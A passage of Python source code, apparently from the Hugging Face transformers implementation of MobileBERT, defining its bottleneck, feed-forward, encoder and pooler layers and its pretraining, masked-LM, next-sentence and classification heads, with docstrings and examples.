self.self.all_head_size = self.self.attention_head_size * self.self.num_attention_heads
self.pruned_heads = self.pruned_heads.union(heads)
def forward(
self,
query_tensor,
key_tensor,
value_tensor,
layer_input,
attention_mask=None,
head_mask=None,
output_attentions=None,
):
self_outputs = self.self(
query_tensor,
key_tensor,
value_tensor,
attention_mask,
head_mask,
output_attentions,
)
# Run a linear projection of `hidden_size` then add a residual
# with `layer_input`.
attention_output = self.output(self_outputs[0], layer_input)
outputs = (attention_output,) + self_outputs[1:] # add attentions if we output them
return outputs
class MobileBertIntermediate(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.true_hidden_size, config.intermediate_size)
if isinstance(config.hidden_act, str):
self.intermediate_act_fn = ACT2FN[config.hidden_act]
else:
self.intermediate_act_fn = config.hidden_act
def forward(self, hidden_states):
hidden_states = self.dense(hidden_states)
hidden_states = self.intermediate_act_fn(hidden_states)
return hidden_states
class OutputBottleneck(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.true_hidden_size, config.hidden_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states, residual_tensor):
layer_outputs = self.dense(hidden_states)
layer_outputs = self.dropout(layer_outputs)
layer_outputs = self.LayerNorm(layer_outputs + residual_tensor)
return layer_outputs
class MobileBertOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.use_bottleneck = config.use_bottleneck
self.dense = nn.Linear(config.intermediate_size, config.true_hidden_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.true_hidden_size)
if not self.use_bottleneck:
self.dropout = nn.Dropout(config.hidden_dropout_prob)
else:
self.bottleneck = OutputBottleneck(config)
def forward(self, intermediate_states, residual_tensor_1, residual_tensor_2):
layer_output = self.dense(intermediate_states)
if not self.use_bottleneck:
layer_output = self.dropout(layer_output)
layer_output = self.LayerNorm(layer_output + residual_tensor_1)
else:
layer_output = self.LayerNorm(layer_output + residual_tensor_1)
layer_output = self.bottleneck(layer_output, residual_tensor_2)
return layer_output
class BottleneckLayer(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.intra_bottleneck_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.intra_bottleneck_size, eps=config.layer_norm_eps)
def forward(self, hidden_states):
layer_input = self.dense(hidden_states)
layer_input = self.LayerNorm(layer_input)
return layer_input
class Bottleneck(nn.Module):
def __init__(self, config):
super().__init__()
self.key_query_shared_bottleneck = config.key_query_shared_bottleneck
self.use_bottleneck_attention = config.use_bottleneck_attention
self.input = BottleneckLayer(config)
if self.key_query_shared_bottleneck:
self.attention = BottleneckLayer(config)
def forward(self, hidden_states):
# This method can return three different tuples of values. These different values make use of bottlenecks,
# which are linear layers used to project the hidden states to a lower-dimensional vector, reducing memory
# usage. These linear layer have weights that are learned during training.
#
# If `config.use_bottleneck_attention`, it will return the result of the bottleneck layer four times for the
# key, query, value, and "layer input" to be used by the attention layer.
# This bottleneck is used to project the hidden. This last layer input will be used as a residual tensor
# in the attention self output, after the attention scores have been computed.
#
# If not `config.use_bottleneck_attention` and `config.key_query_shared_bottleneck`, this will return
# four values, three of which have been passed through a bottleneck: the query and key, passed through the same
# bottleneck, and the residual layer to be applied in the attention self output, through another bottleneck.
#
# Finally, in the last case, the values for the query, key and values are the hidden states without bottleneck,
# and the residual layer will be this value passed through a bottleneck.
bottlenecked_hidden_states = self.input(hidden_states)
if self.use_bottleneck_attention:
return (bottlenecked_hidden_states,) * 4
elif self.key_query_shared_bottleneck:
shared_attention_input = self.attention(hidden_states)
return (shared_attention_input, shared_attention_input, hidden_states, bottlenecked_hidden_states)
else:
return (hidden_states, hidden_states, hidden_states, bottlenecked_hidden_states)
class FFNOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.intermediate_size, config.true_hidden_size)
self.LayerNorm = NORM2FN[config.normalization_type](config.true_hidden_size, eps=config.layer_norm_eps)
def forward(self, hidden_states, residual_tensor):
layer_outputs = self.dense(hidden_states)
layer_outputs = self.LayerNorm(layer_outputs + residual_tensor)
return layer_outputs
class FFNLayer(nn.Module):
def __init__(self, config):
super().__init__()
self.intermediate = MobileBertIntermediate(config)
self.output = FFNOutput(config)
def forward(self, hidden_states):
intermediate_output = self.intermediate(hidden_states)
layer_outputs = self.output(intermediate_output, hidden_states)
return layer_outputs
class MobileBertLayer(nn.Module):
def __init__(self, config):
super().__init__()
self.use_bottleneck = config.use_bottleneck
self.num_feedforward_networks = config.num_feedforward_networks
self.attention = MobileBertAttention(config)
self.intermediate = MobileBertIntermediate(config)
self.output = MobileBertOutput(config)
if self.use_bottleneck:
self.bottleneck = Bottleneck(config)
if config.num_feedforward_networks > 1:
self.ffn = nn.ModuleList([FFNLayer(config) for _ in range(config.num_feedforward_networks - 1)])
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
output_attentions=None,
):
if self.use_bottleneck:
query_tensor, key_tensor, value_tensor, layer_input = self.bottleneck(hidden_states)
else:
query_tensor, key_tensor, value_tensor, layer_input = [hidden_states] * 4
self_attention_outputs = self.attention(
query_tensor,
key_tensor,
value_tensor,
layer_input,
attention_mask,
head_mask,
output_attentions=output_attentions,
)
attention_output = self_attention_outputs[0]
s = (attention_output,)
outputs = self_attention_outputs[1:] # add self attentions if we output attention weights
if self.num_feedforward_networks != 1:
for i, ffn_module in enumerate(self.ffn):
attention_output = ffn_module(attention_output)
s += (attention_output,)
intermediate_output = self.intermediate(attention_output)
layer_output = self.output(intermediate_output, attention_output, hidden_states)
outputs = (
(layer_output,)
+ outputs
+ (
torch.tensor(1000),
query_tensor,
key_tensor,
value_tensor,
layer_input,
attention_output,
intermediate_output,
)
+ s
)
return outputs
class MobileBertEncoder(nn.Module):
def __init__(self, config):
super().__init__()
self.layer = nn.ModuleList([MobileBertLayer(config) for _ in range(config.num_hidden_layers)])
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
output_attentions=False,
output_hidden_states=False,
return_dict=True,
):
all_hidden_states = () if output_hidden_states else None
all_attentions = () if output_attentions else None
for i, layer_module in enumerate(self.layer):
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
layer_outputs = layer_module(
hidden_states,
attention_mask,
head_mask[i],
output_attentions,
)
hidden_states = layer_outputs[0]
if output_attentions:
all_attentions = all_attentions + (layer_outputs[1],)
# Add last layer
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
if not return_dict:
return tuple(v for v in [hidden_states, all_hidden_states, all_attentions] if v is not None)
return BaseModelOutput(
last_hidden_state=hidden_states, hidden_states=all_hidden_states, attentions=all_attentions
)
class MobileBertPooler(nn.Module):
def __init__(self, config):
super().__init__()
self.do_activate = config.classifier_activation
if self.do_activate:
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
def forward(self, hidden_states):
# We "pool" the model by simply taking the hidden state corresponding
# to the first token.
first_token_tensor = hidden_states[:, 0]
if not self.do_activate:
return first_token_tensor
else:
pooled_output = self.dense(first_token_tensor)
pooled_output = torch.tanh(pooled_output)
return pooled_output
class MobileBertPredictionHeadTransform(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
if isinstance(config.hidden_act, str):
self.transform_act_fn = ACT2FN[config.hidden_act]
else:
self.transform_act_fn = config.hidden_act
self.LayerNorm = NORM2FN["layer_norm"](config.hidden_size, eps=config.layer_norm_eps)
def forward(self, hidden_states):
hidden_states = self.dense(hidden_states)
hidden_states = self.transform_act_fn(hidden_states)
hidden_states = self.LayerNorm(hidden_states)
return hidden_states
class MobileBertLMPredictionHead(nn.Module):
def __init__(self, config):
super().__init__()
self.transform = MobileBertPredictionHeadTransform(config)
# The output weights are the same as the input embeddings, but there is
# an output-only bias for each token.
self.dense = nn.Linear(config.vocab_size, config.hidden_size - config.embedding_size, bias=False)
self.decoder = nn.Linear(config.embedding_size, config.vocab_size, bias=False)
self.bias = nn.Parameter(torch.zeros(config.vocab_size))
# Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings`
self.decoder.bias = self.bias
def forward(self, hidden_states):
hidden_states = self.transform(hidden_states)
hidden_states = hidden_states.matmul(torch.cat([self.decoder.weight.t(), self.dense.weight], dim=0))
hidden_states += self.decoder.bias
return hidden_states
class MobileBertOnlyMLMHead(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = MobileBertLMPredictionHead(config)
def forward(self, sequence_output):
prediction_scores = self.predictions(sequence_output)
return prediction_scores
class MobileBertPreTrainingHeads(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = MobileBertLMPredictionHead(config)
self.seq_relationship = nn.Linear(config.hidden_size, 2)
def forward(self, sequence_output, pooled_output):
prediction_scores = self.predictions(sequence_output)
seq_relationship_score = self.seq_relationship(pooled_output)
return prediction_scores, seq_relationship_score
class MobileBertPreTrainedModel(PreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = MobileBertConfig
pretrained_model_archive_map = MOBILEBERT_PRETRAINED_MODEL_ARCHIVE_LIST
load_tf_weights = load_tf_weights_in_mobilebert
base_model_prefix = "mobilebert"
_keys_to_ignore_on_load_missing = [r"position_ids"]
def _init_weights(self, module):
"""Initialize the weights"""
if isinstance(module, nn.Linear):
# Slightly different from the TF version which uses truncated_normal for initialization
# cf https://github.com/pytorch/pytorch/pull/5617
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.bias is not None:
module.bias.data.zero_()
elif isinstance(module, nn.Embedding):
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.padding_idx is not None:
module.weight.data[module.padding_idx].zero_()
elif isinstance(module, (nn.LayerNorm, NoNorm)):
module.bias.data.zero_()
module.weight.data.fill_(1.0)
@dataclass
class MobileBertForPreTrainingOutput(ModelOutput):
"""
Output type of :class:`~transformers.MobileBertForPreTraining`.
Args:
loss (`optional`, returned when ``labels`` is provided, ``torch.FloatTensor`` of shape :obj:`(1,)`):
Total loss as the sum of the masked language modeling loss and the next sequence prediction
(classification) loss.
prediction_logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, config.vocab_size)`):
Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
seq_relationship_logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, 2)`):
Prediction scores of the next sequence prediction (classification) head (scores of True/False continuation
before SoftMax).
hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``):
Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)
of shape :obj:`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``):
Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape :obj:`(batch_size, num_heads,
sequence_length, sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
loss: Optional[torch.FloatTensor] = None
prediction_logits: torch.FloatTensor = None
seq_relationship_logits: torch.FloatTensor = None
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
MOBILEBERT_START_DOCSTRING = r"""
This model inherits from :class:`~transformers.PreTrainedModel`. Check the superclass documentation for the generic
methods the library implements for all its model (such as downloading or saving, resizing the input embeddings,
pruning heads etc.)
This model is also a PyTorch `torch.nn.Module <https://pytorch.org/docs/stable/nn.html#torch.nn.Module>`__
subclass. Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to
general usage and behavior.
Parameters:
config (:class:`~transformers.MobileBertConfig`): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the :meth:`~transformers.PreTrainedModel.from_pretrained` method to load the model
weights.
"""
MOBILEBERT_INPUTS_DOCSTRING = r"""
Args:
input_ids (:obj:`torch.LongTensor` of shape :obj:`({0})`):
Indices of input sequence tokens in the vocabulary.
Indices can be obtained using :class:`~transformers.BertTokenizer`. See
:meth:`transformers.PreTrainedTokenizer.encode` and :meth:`transformers.PreTrainedTokenizer.__call__` for
details.
`What are input IDs? <../glossary.html#input-ids>`__
attention_mask (:obj:`torch.FloatTensor` of shape :obj:`({0})`, `optional`):
Mask to avoid performing attention on padding token indices. Mask values selected in ``[0, 1]``:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
`What are attention masks? <../glossary.html#attention-mask>`__
token_type_ids (:obj:`torch.LongTensor` of shape :obj:`({0})`, `optional`):
Segment token indices to indicate first and second portions of the inputs. Indices are selected in ``[0,
1]``:
- 0 corresponds to a `sentence A` token,
- 1 corresponds to a `sentence B` token.
`What are token type IDs? <../glossary.html#token-type-ids>`_
position_ids (:obj:`torch.LongTensor` of shape :obj:`({0})`, `optional`):
Indices of positions of each input sequence tokens in the position embeddings. Selected in the range ``[0,
config.max_position_embeddings - 1]``.
`What are position IDs? <../glossary.html#position-ids>`_
head_mask (:obj:`torch.FloatTensor` of shape :obj:`(num_heads,)` or :obj:`(num_layers, num_heads)`, `optional`):
Mask to nullify selected heads of the self-attention modules. Mask values selected in ``[0, 1]``:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
inputs_embeds (:obj:`torch.FloatTensor` of shape :obj:`({0}, hidden_size)`, `optional`):
Optionally, instead of passing :obj:`input_ids` you can choose to directly pass an embedded representation.
This is useful if you want more control over how to convert :obj:`input_ids` indices into associated
vectors than the model's internal embedding lookup matrix.
output_attentions (:obj:`bool`, `optional`):
Whether or not to return the attentions tensors of all attention layers. See ``attentions`` under returned
tensors for more detail.
output_hidden_states (:obj:`bool`, `optional`):
Whether or not to return the hidden states of all layers. See ``hidden_states`` under returned tensors for
more detail.
return_dict (:obj:`bool`, `optional`):
Whether or not to return a :class:`~transformers.file_utils.ModelOutput` instead of a plain tuple.
"""
@add_start_docstrings(
"The bare MobileBert Model transformer outputting raw hidden-states without any specific head on top.",
MOBILEBERT_START_DOCSTRING,
)
class MobileBertModel(MobileBertPreTrainedModel):
"""
https://arxiv.org/pdf/2004.02984.pdf
"""
def __init__(self, config, add_pooling_layer=True):
super().__init__(config)
self.config = config
self.embeddings = MobileBertEmbeddings(config)
self.encoder = MobileBertEncoder(config)
self.pooler = MobileBertPooler(config) if add_pooling_layer else None
# Initialize weights and apply final processing
self.post_init()
def get_input_embeddings(self):
return self.embeddings.word_embeddings
def set_input_embeddings(self, value):
self.embeddings.word_embeddings = value
def _prune_heads(self, heads_to_prune):
"""
Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base
class PreTrainedModel
"""
for layer, heads in heads_to_prune.items():
self.encoder.layer[layer].attention.prune_heads(heads)
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=BaseModelOutputWithPooling,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
output_hidden_states=None,
output_attentions=None,
return_dict=None,
):
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is not None:
input_shape = input_ids.size()
elif inputs_embeds is not None:
input_shape = inputs_embeds.size()[:-1]
else:
raise ValueError("You have to specify either input_ids or inputs_embeds")
device = input_ids.device if input_ids is not None else inputs_embeds.device
if attention_mask is None:
attention_mask = torch.ones(input_shape, device=device)
if token_type_ids is None:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=device)
# We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
# ourselves in which case we just need to make it broadcastable to all heads.
extended_attention_mask: torch.Tensor = self.get_extended_attention_mask(
attention_mask, input_shape, self.device
)
# Prepare head mask if needed
# 1.0 in head_mask indicate we keep the head
# attention_probs has shape bsz x n_heads x N x N
# input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
# and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
head_mask = self.get_head_mask(head_mask, self.config.num_hidden_layers)
embedding_output = self.embeddings(
input_ids=input_ids, position_ids=position_ids, token_type_ids=token_type_ids, inputs_embeds=inputs_embeds
)
encoder_outputs = self.encoder(
embedding_output,
attention_mask=extended_attention_mask,
head_mask=head_mask,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = encoder_outputs[0]
pooled_output = self.pooler(sequence_output) if self.pooler is not None else None
if not return_dict:
return (sequence_output, pooled_output) + encoder_outputs[1:]
return BaseModelOutputWithPooling(
last_hidden_state=sequence_output,
pooler_output=pooled_output,
hidden_states=encoder_outputs.hidden_states,
attentions=encoder_outputs.attentions,
)
@add_start_docstrings(
"""
MobileBert Model with two heads on top as done during the pretraining: a `masked language modeling` head and a
`next sentence prediction (classification)` head.
""",
MOBILEBERT_START_DOCSTRING,
)
class MobileBertForPreTraining(MobileBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.mobilebert = MobileBertModel(config)
self.cls = MobileBertPreTrainingHeads(config)
# Initialize weights and apply final processing
self.post_init()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddigs):
self.cls.predictions.decoder = new_embeddigs
def resize_token_embeddings(self, new_num_tokens: Optional[int] = None) -> nn.Embedding:
# resize dense output embedings at first
self.cls.predictions.dense = self._get_resized_lm_head(
self.cls.predictions.dense, new_num_tokens=new_num_tokens, transposed=True
)
return super().resize_token_embeddings(new_num_tokens=new_num_tokens)
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=MobileBertForPreTrainingOutput, config_class=_CONFIG_FOR_DOC)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
next_sentence_label=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (``torch.LongTensor`` of shape ``(batch_size, sequence_length)``, `optional`):
Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ...,
config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored
(masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``
next_sentence_label (``torch.LongTensor`` of shape ``(batch_size,)``, `optional`):
Labels for computing the next sequence prediction (classification) loss. Input should be a sequence pair
(see :obj:`input_ids` docstring) Indices should be in ``[0, 1]``:
- 0 indicates sequence B is a continuation of sequence A,
- 1 indicates sequence B is a random sequence.
Returns:
Examples::
>>> from transformers import MobileBertTokenizer, MobileBertForPreTraining
>>> import torch
>>> tokenizer = MobileBertTokenizer.from_pretrained("google/mobilebert-uncased")
>>> model = MobileBertForPreTraining.from_pretrained("google/mobilebert-uncased")
>>> input_ids = torch.tensor(tokenizer.encode("Hello, my dog is cute", add_special_tokens=True)).unsqueeze(0) # Batch size 1
>>> outputs = model(input_ids)
>>> prediction_logits = outputs.prediction_logits
>>> seq_relationship_logits = outputs.seq_relationship_logits
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output, pooled_output = outputs[:2]
prediction_scores, seq_relationship_score = self.cls(sequence_output, pooled_output)
total_loss = None
if labels is not None and next_sentence_label is not None:
loss_fct = CrossEntropyLoss()
masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
next_sentence_loss = loss_fct(seq_relationship_score.view(-1, 2), next_sentence_label.view(-1))
total_loss = masked_lm_loss + next_sentence_loss
if not return_dict:
output = (prediction_scores, seq_relationship_score) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return MobileBertForPreTrainingOutput(
loss=total_loss,
prediction_logits=prediction_scores,
seq_relationship_logits=seq_relationship_score,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings("""MobileBert Model with a `language modeling` head on top. """, MOBILEBERT_START_DOCSTRING)
class MobileBertForMaskedLM(MobileBertPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
def __init__(self, config):
super().__init__(config)
self.mobilebert = MobileBertModel(config, add_pooling_layer=False)
self.cls = MobileBertOnlyMLMHead(config)
self.config = config
# Initialize weights and apply final processing
self.post_init()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddigs):
self.cls.predictions.decoder = new_embeddigs
def resize_token_embeddings(self, new_num_tokens: Optional[int] = None) -> nn.Embedding:
# resize dense output embedings at first
self.cls.predictions.dense = self._get_resized_lm_head(
self.cls.predictions.dense, new_num_tokens=new_num_tokens, transposed=True
)
return super().resize_token_embeddings(new_num_tokens=new_num_tokens)
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MaskedLMOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ...,
config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored
(masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
prediction_scores = self.cls(sequence_output)
masked_lm_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss() # -100 index = padding token
masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output
return MaskedLMOutput(
loss=masked_lm_loss,
logits=prediction_scores,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
class MobileBertOnlyNSPHead(nn.Module):
def __init__(self, config):
super().__init__()
self.seq_relationship = nn.Linear(config.hidden_size, 2)
def forward(self, pooled_output):
seq_relationship_score = self.seq_relationship(pooled_output)
return seq_relationship_score
@add_start_docstrings(
"""MobileBert Model with a `next sentence prediction (classification)` head on top. """,
MOBILEBERT_START_DOCSTRING,
)
class MobileBertForNextSentencePrediction(MobileBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.mobilebert = MobileBertModel(config)
self.cls = MobileBertOnlyNSPHead(config)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=NextSentencePredictorOutput, config_class=_CONFIG_FOR_DOC)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
**kwargs,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for computing the next sequence prediction (classification) loss. Input should be a sequence pair
(see ``input_ids`` docstring) Indices should be in ``[0, 1]``.
- 0 indicates sequence B is a continuation of sequence A,
- 1 indicates sequence B is a random sequence.
Returns:
Examples::
>>> from transformers import MobileBertTokenizer, MobileBertForNextSentencePrediction
>>> import torch
>>> tokenizer = MobileBertTokenizer.from_pretrained('google/mobilebert-uncased')
>>> model = MobileBertForNextSentencePrediction.from_pretrained('google/mobilebert-uncased')
>>> prompt = "In Italy, pizza served in formal settings, such as at a restaurant, is presented unsliced."
>>> next_sentence = "The sky is blue due to the shorter wavelength of blue light."
>>> encoding = tokenizer(prompt, next_sentence, return_tensors='pt')
>>> outputs = model(**encoding, labels=torch.LongTensor([1]))
>>> loss = outputs.loss
>>> logits = outputs.logits
"""
if "next_sentence_label" in kwargs:
warnings.warn(
"The `next_sentence_label` argument is deprecated and will be removed in a future version, use `labels` instead.",
FutureWarning,
)
labels = kwargs.pop("next_sentence_label")
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
seq_relationship_score = self.cls(pooled_output)
next_sentence_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
next_sentence_loss = loss_fct(seq_relationship_score.view(-1, 2), labels.view(-1))
if not return_dict:
output = (seq_relationship_score,) + outputs[2:]
return ((next_sentence_loss,) + output) if next_sentence_loss is not None else output
return NextSentencePredictorOutput(
loss=next_sentence_loss,
logits=seq_relationship_score,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
MobileBert Model transformer with a sequence classification/regression head on top (a linear layer on top of the
pooled output) e.g. for GLUE tasks.
""",
MOBILEBERT_START_DOCSTRING,
)
# Copied from transformers.models.bert.modeling_bert.BertForSequenceClassification with Bert->MobileBert all-casing
class MobileBertForSequenceClassification(MobileBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.config = config
self.mobilebert = MobileBertModel(config)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=SequenceClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for computing the sequence classification/regression loss. Indices should be in :obj:`[0, ...,
config.num_labels - 1]`. If :obj:`config.num_labels == 1` a regression loss is computed (Mean-Square loss),
If :obj:`config.num_labels > 1` a classification loss is computed (Cross-Entropy).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.mobilebert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
loss = None
if labels is not None:
if self.config.problem_type is None:
if self.num_labels == 1:
self.config.problem_type = "regression"
elif self.num_labels > 1 and (labels.dtype == torch.long or labels.dtype == torch.int):
self.config.problem_type = "single_label_classification"
else:
self.config.problem_type = "multi_label_classification"
if self.config.problem_type == "regression":
loss_fct = MSELoss()
if self.num_labels == 1:
loss = loss_fct(logits.squeeze(), labels.squeeze())
else:
loss = loss_fct(logits, labels)
elif self.config.problem_type == "single_label_classification":
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
elif self.config.problem_type == "multi_label_classification":
loss_fct = BCEWithLogitsLoss()
loss = loss_fct(logits, labels)
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return SequenceClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
MobileBert Model with a span classification head on top for extractive question-answering tasks like SQuAD (a
linear layers on top of the hidden-states output to compute `span start logits` and `span end logits`).
""",
MOBILEBERT_START_DOCSTRING,
)
# Copied from transformers.models.bert.modeling_bert.BertForQuestionAnswering with Bert->MobileBert all-casing
class MobileBertForQuestionAnswering(MobileBertPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.mobilebert = MobileBertModel(config, add_pooling_layer=False)
self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(MOBILEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
